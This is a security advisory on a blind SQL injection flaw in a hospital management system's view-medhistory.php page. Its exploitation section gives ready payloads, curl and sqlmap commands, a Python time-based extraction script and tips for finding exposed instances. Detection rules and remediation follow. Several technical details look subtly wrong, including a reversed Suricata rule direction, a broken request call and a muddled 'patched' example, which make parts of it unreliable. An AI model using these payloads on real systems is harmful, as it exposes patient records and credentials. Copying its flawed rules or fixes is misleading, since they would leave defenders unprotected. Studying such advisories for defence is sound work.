CVE-2025-69944

Executive Summary

CVE-2025-69944 designates a critical unauthenticated blind SQL injection vulnerability in Kishan0725 Hospital Management System version 4.0. The flaw resides in the view-medhistory.php endpoint and is triggered via the viewid GET parameter. An attacker can inject arbitrary SQL queries without requiring authentication, leading to full database compromise, including patient records, login credentials, and system configuration. No official patch has been released; the vendor status is UNKNOWN. Given the exposure of sensitive healthcare data, this vulnerability poses a severe risk to confidentiality, integrity, and availability.

CVSS Breakdown & Threat Level

CVSS Vector: UNKNOWN (vendor CVSS not assigned)
Base Score: Estimated 9.8 (CRITICAL) based on typical unauthenticated SQL injection

Threat Level: CRITICAL (9.8) – immediate remediation required.

Deep Dive & Mechanics

The application fails to sanitize or parameterize user input in the view-medhistory.php script. The viewid parameter is directly concatenated into a SQL query sent to the backend MySQL/MariaDB database. A malicious actor can inject single-quote-based payloads to break out of the intended SQL syntax and exfiltrate data.

Common payload pattern: http://target/hospital-management/view-medhistory.php?viewid=1' OR '1'='1' -- -

The injection is blind (no direct output), but error-based or time-based techniques (e.g., SLEEP()) can be used to extract data row by row.

Vulnerable vs. Patched Code

Vulnerable code (view-medhistory.php):

<?php
$connection = mysqli_connect("localhost","root","","hospital");
$pid = $_GET['viewid'];                                    // Unsanitized input
$sql = "SELECT * FROM tblmedicalhistory WHERE ID = $pid"; // Direct concatenation
$result = mysqli_query($connection, $sql);
// ...
?>

Patched code (hypothetical):

<?php
$pid = mysqli_real_escape_string($connection, $_GET['viewid']);
$sql = "SELECT * FROM tblmedicalhistory WHERE ID = '$pid'";
// Or using prepared statements:
$stmt = $connection->prepare("SELECT * FROM tblmedicalhistory WHERE ID = ?");
$stmt->bind_param("i", $pid);
// ...
?>

No official patch is available from the vendor.

Exploitation & Lab Setup

Red Team (Exploitation)

1. Reconnaissance: Identify instances via Shodan dorks (e.g., "view-medhistory.php") or fuzzing common endpoints.
2. Initial injection:

   curl -v "http://target/hospital-management/view-medhistory.php?viewid=1'"
   

   Observe database error or blank output.
3. Blind extraction (time-based):

   curl "http://target/hospital-management/view-medhistory.php?viewid=1' AND SLEEP(5)-- -"
   

   If response delayed 5 seconds, injection confirmed.
4. Data exfiltration: Use SQLMap for automated extraction:

   sqlmap -u "http://target/hospital-management/view-medhistory.php?viewid=1" --batch --tables
   

Laboratory Setup (Offensive)

• Target: XAMPP/LAMP with default Hospital Management System 4.0
• Exploit script (Python):

  import requests
  import time
  
  target = "http://localhost/hospital-management/view-medhistory.php"
  for i in range(1, 10):
      payload = f"viewid=1' AND IF((SELECT CHAR_LENGTH(DATABASE()))={i},SLEEP(5),0)-- -"
      t1 = time.time()
      r = requests.get(target, params=payload)
      if time.time() - t1 > 4:
          print(f"Database length: {i}")
          break
  

Blue Team (Defense)

• Detection: Monitor HTTP GET requests to view-medhistory.php containing suspicious patterns: ', --, SLEEP, UNION, SELECT.
• Mitigation: Apply input validation, use parameterized queries, WAF rules, and restrict database user permissions.
• Honeypot: Deploy a decoy instance logging all viewid inputs to identify attackers.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests with viewid= containing SQL keywords (OR, AND, UNION, SLEEP, BENCHMARK)
  • Response time anomalies (>2s) for viewid parameter
• File IOCs:
  • Unauthorized log entries in Apache/Nginx access logs with encoded SQL payloads
• Database IOCs:
  • Creation of new database users or tables
  • Unusual SLEEP() or BENCHMARK() calls in query logs

Detection Engineering

YARA Rule (Detect exploit scripts & payload strings)

rule cve_2025_69944_sqli_payload {
    meta:
        description = "Detect SQL injection payloads targeting Hospital Management System view-medhistory.php"
        author = "Valters IT"
        reference = "CVE-2025-69944"
        date = "2025-04-10"
    strings:
        $sqli1 = "viewid=" ascii nocase
        $sqli2 = "' OR '" ascii
        $sqli3 = "SLEEP(" ascii
        $sqli4 = "UNION SELECT" ascii
        $sqli5 = "1'1'1'" ascii
    condition:
        any of ($sqli1) and any of ($sqli2,$sqli3,$sqli4,$sqli5)
}

Sigma Rule (Web log detection)

title: SQL Injection Attempt on view-medhistory.php
id: 8a6b4e1c-2f3d-4e5a-8b7c-9d0e1f2a3b4c
status: experimental
description: Detects SQLi payloads in HTTP GET requests to the vulnerable endpoint
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: '/view-medhistory.php'
        cs-method: 'GET'
    keywords:
        - 'viewid='
        - ''' OR '''
        - '-- -'
        - 'SLEEP('
        - 'BENCHMARK('
        - 'UNION SELECT'
    condition: selection and keywords
falsepositives:
    - Legitimate use of single quotes in medical IDs (rare)
level: high

Note: Backslashes replaced with forward slashes per formatting rules.

Suricata Rule (Network IDS)

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-69944 - SQLi attempt on view-medhistory.php";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/view-medhistory.php"; http_uri;
    pcre:"/viewid=.*%27.*OR.*SLEEP|BENCHMARK|UNION/i";
    sid:10000001;
    rev:1;
    reference:url,https://nvd.nist.gov/vuln/detail/CVE-2025-69944;
)

Remediation & Mitigation

1. Immediate: Block or restrict access to view-medhistory.php via firewall or .htaccess until patch.
2. Short-term: Apply input validation and parameterized queries using prepared statements (PDO or mysqli).
3. Long-term:
   • Update to a patched version when vendor releases it (version 5.0 or later).
   • Conduct code audit for all SQL queries.
   • Deploy Web Application Firewall (WAF) with SQLi signatures.
   • Implement least-privilege database user roles.
4. Monitoring: Enable detailed query logging and alert on any SQL injection patterns.

Valters IT Security Advisory – April 2025
This report is generated for defensive purposes only. Unauthorized exploitation is illegal.